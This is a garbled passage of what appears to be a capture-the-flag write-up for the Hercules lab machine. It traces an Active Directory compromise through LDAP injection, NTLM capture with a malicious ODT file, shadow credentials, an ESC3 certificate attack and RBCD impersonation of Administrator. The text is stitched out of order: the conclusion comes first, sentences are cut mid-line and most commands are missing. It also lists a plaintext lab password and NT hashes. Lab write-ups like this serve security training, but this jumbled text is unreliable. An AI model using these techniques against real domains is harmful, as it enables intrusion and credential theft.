hercules.htb/administrator@dc.hercules.htb -no-pass Get root flag: PS C:\Users\Administrator\Documents> cd ..\Desktop PS C:\Users\Administrator\Desktop> dir PS C:\Users\Administrator\Desktop> type root.txt PS C:\> Get-ChildItem -Path C:\Users -Recurse -Filter root.txt -ErrorAction SilentlyContinue --- --- LDAP Injection (Web) → ken.w credentials ↓ Password Spray → Authenticated as ken.w ↓ NTLM Capture (Optional) → natalie.a credentials ↓ Shadow Credentials → bob.w → auditor (USER FLAG) ↓ OU Permissions Manipulation → fernando.r ↓ ESC3 Certificate Attack → ashley.b ↓ Service Account Chain → IIS_Administrator → IIS_WEBSERVER$ ↓ RBCD Attack → Administrator (ROOT FLAG) --- --- Hercules demonstrates how multiple seemingly minor misconfigurations can chain together to result in full domain compromise. The attack path requires deep understanding of: This machine emphasizes that defense in depth is critical. A single hardened component (proper LDAP input validation, disabled ESC3, restricted service account permissions) would have broken the attack chain. Final Statistics: Congratulations on completing Hercules!# Forms Authentication Cookie Manipulation
web_admin authentication cookie, which granted administrative access to the web application.# Malicious File Upload and NTLM Hash Capture
web_admin privileges I gained access to a file upload functionality. I created a malicious ODT file using the Bad-ODF tool to capture NTLM credentials from automated document processing.# natalie.a:Prettyprincess123!
# Phase 6: Shadow Credentials Attack Chain
# Understanding Shadow Credentials
msDS-KeyCredentialLink attribute in Active Directory. By adding a certificate to a user's Key Credential, we can authenticate as that user without knowing their password.# Attack Chain: natalie.a → bob.w → auditor
# Authenticate to get ticket
# Export ticket
# Verify ticket
# Attack bob.w with shadow credentials
# Output:
# - bob.w.pfx (certificate)
# - bob.w.ccache (Kerberos ticket)
# - NT hash: 8a65c74e8f0073babbfac6725c66cc3f
shadow auto command:msDS-KeyCredentialLink# Check what bob.w can modify
natalie.a to have write access to its msDS-KeyCredentialLink.modrdn (Modify Relative Distinguished Name) is the operation for moving objects in the directory tree. The newsuperior parameter specifies the new parent container.# Switch back to natalie.a
# Attack auditor (now in Web Department where natalie.a has permissions)
# Output:
# - auditor.pfx
# - auditor.ccache
# - NT hash: a9285c625af80519ad784729655ff325
# Download proper winrmexec
# Connect as auditor
-k flag enables Kerberos authentication using our cached ticket, avoiding password transmission.# Phase 7: Privilege Escalation to Domain Admin
# Step 7.1: Grant Forest Migration Permissions
# Grant auditor genericAll on Forest Migration OU
genericAll is the most powerful AD permission, granting full control over an object or container. This allows auditor to modify any object within the Forest Migration OU, including enabling disabled accounts.# Step 7.2: Enable fernando.r
# Enable the disabled account
# Set known password
# Verify
fernando.r is a member of groups with certificate enrollment rights. We'll use this account to perform an ESC3 attack.# Step 7.3: ESC3 Certificate Attack (fernando.r → ashley.b)
# Get TGT for fernando.r
# Request Enrollment Agent certificate
# Output: fernando.r.pfx
# ESC3 attack - impersonate ashley.b
# If above fails with RPC error, retrieve manually:
# Request ID will be shown (e.g., 6)
# Output: ashley.b.pfx
# Get TGT and NT hash from certificate
# Output:
# - ashley.b.ccache
# - NT hash for ashley.b
# Step 7.4: Grant IT Support Permissions
# Switch to auditor ticket
# Grant IT Support group permissions
# Step 7.5: WinRM as ashley.b & Enable IIS_Administrator
# Connect as ashley.b
# Verify
# IIS Service Account Chain
# Get IIS_Administrator TGT
# Reset IIS_webserver$ password
# Get NT hash for password
# Output: 58a478135a93ac3bf058a5ea0e8fdb71
# Get TGT for IIS_webserver$
# Export ticket (escape the $)
# Get session key
# Copy the hex key (e.g., 8ab379fe7150...)
# Change password with session key (replace SESSION_KEY)
# RBCD Attack - Impersonate Administrator
# U2U + S4U2Proxy
# Verify ticket created
# Final Access - Domain Admin
# Export Administrator ticket
# Connect as Administrator
# If root.txt is elsewhere:
# Key Lessons Learned
# 1. **LDAP Injection Prevention**
# 2. **AD Description Field Security**
# 3. **Certificate Services Hardening**
# 4. **Shadow Credentials Mitigation**
# 5. **Service Account Security**
# 6. **Kerberos Best Practices**
# 7. **WinRM Hardening**
# Attack Chain Summary
# Tools Used
# Conclusion